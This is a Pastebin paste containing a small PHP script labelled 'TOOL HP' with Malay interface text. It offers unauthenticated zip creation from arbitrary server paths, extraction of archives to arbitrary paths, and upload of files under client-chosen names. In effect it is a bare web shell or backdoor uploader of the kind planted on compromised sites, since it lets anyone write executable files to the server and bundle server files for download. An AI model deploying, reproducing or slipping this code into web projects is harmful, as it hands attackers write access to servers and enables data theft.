Advertisement
tobitaz

hp senang

Mar 20th, 2014
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.98 KB | None | 0 0
  1. <font style="font-size:40px">TOOL HP</font>
  2. <br />
  3. <br />
  4. <br />
  5. <?php
  6. $zipmake = $_GET["zipmake"];
  7. $extracter = $_GET["extracter"];
  8. $uploader = $_GET["uploader"];
  9. $fil = $_POST["file"];
  10. $nama = $_POST["nama"];
  11. $pathlist = $_POST["pathlist"];
  12. $path = $_POST["localzip"];
  13. $pathfol = $_POST["pathfol"];
  14.  
  15.  
  16. echo "<a href='".$_SERVER['PHP_SELF']."?zipmake=pilih'><button>Zip Maker</button></a><br />";
  17. echo "<a href='".$_SERVER['PHP_SELF']."?extracter=pilih'><button>Zip Extracter</button></a><br />";
  18. echo "<a href='".$_SERVER['PHP_SELF']."?uploader=pilih'><button>File Uploader</button></a><br />";
  19. echo "<br /><br /><br />";
  20.  
  21.  
  22.  
  23.  
  24. if($zipmake != null)
  25. {
  26. if (!extension_loaded('zip')){ die("php zip is not installed in your site");}
  27. echo '<form action="'.$_SERVER['PHP_SELF'].'?zipmake=pilih" method="post">folder file list path:<br /> <input name="pathlist" value="'.getcwd().'/"><br /><input type="submit"></form>';
  28. if($pathlist != null)
  29. {
  30. $listfile = @scandir($pathlist);
  31.  
  32. if(!empty($listfile))
  33. {
  34. echo "ZIP maker <br /><br /><form action='".$_SERVER['PHP_SELF']."?zipmake=pilih' method='post'>";
  35. foreach($listfile as $file)
  36. {
  37. if(is_file($file))
  38. {
  39. echo '<input type="checkbox" name="file[]" value="'.$file.'">'.$file.'<br />';
  40. }
  41. }
  42. echo "save as :<input name='nama' value='newzip.zip'><br /><input type='submit'></form>";
  43. }
  44. else
  45. {
  46. echo "failed to open folder";
  47. }
  48. }
  49. if($fil && $nama != null)
  50. {
  51. $f = fopen($nama, "w");
  52.        fwrite($f, "");
  53.        fclose($f);
  54. echo $nama;
  55. $zip = new ZipArchive;
  56. if ($zip->open($nama) === TRUE)
  57. {
  58.  
  59. foreach($fil as $zipfile)
  60. {
  61. $zip->addFile(getcwd().'/'.$zipfile, $zipfile);
  62. }
  63. $zip->close();
  64. }
  65.  
  66.  else
  67.  {
  68.     echo 'failed';
  69. }
  70. }
  71.  
  72. }
  73. elseif($extracter != null)
  74. {
  75. if (!extension_loaded('zip')){ die("php zip is not installed in your site");}
  76. echo "zIp EXTRACTER<br /><br />";
  77.  
  78. echo "<form action='".$_SERVER['PHP_SELF']."?extracter=pilih' method='post'>path zip file: <input name='localzip' value='".getcwd()."/zipfile.zip'><br />path to extract: <input name='pathfol' value='".getcwd()."/'><br /><input type='submit' value='extract'></form>";
  79.  
  80.  
  81. if($pathfol && $path != null)
  82. {
  83. $zip = new ZipArchive;
  84. if ($zip->open($path) === true)
  85. {
  86.                    
  87.     for($i = 0; $i < $zip->numFiles; $i++)
  88.     {
  89.                          
  90.         $zip->extractTo($pathfol, array($zip->getNameIndex($i)));
  91. echo "file : ".$path." Extracted to ".$pathfol;
  92.     }
  93.                    
  94.     $zip->close();
  95.                    
  96. }
  97. else
  98. {
  99. echo "failed to extract ".$path." file";
  100. }
  101. }
  102. }
  103. elseif($uploader != null)
  104. {
  105. echo 'File uploader <br /><br /><form action="'.$_SERVER['PHP_SELF'].'?uploader=pilih" method="post" enctype="multipart/form-data"> <input type="file" name="f"><br><input type="submit" name="submit" value="Submit"></form>';
  106.  
  107.  
  108.  
  109. if(isset($_FILES["f"])){
  110.  
  111. @unlink($_FILES["f"]["name"]);
  112. move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"]);
  113.  
  114. echo "File uploaded!";
  115. }
  116. }
  117. else
  118. {
  119. echo "Sila pilih tool";
  120. }
  121.  
  122. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement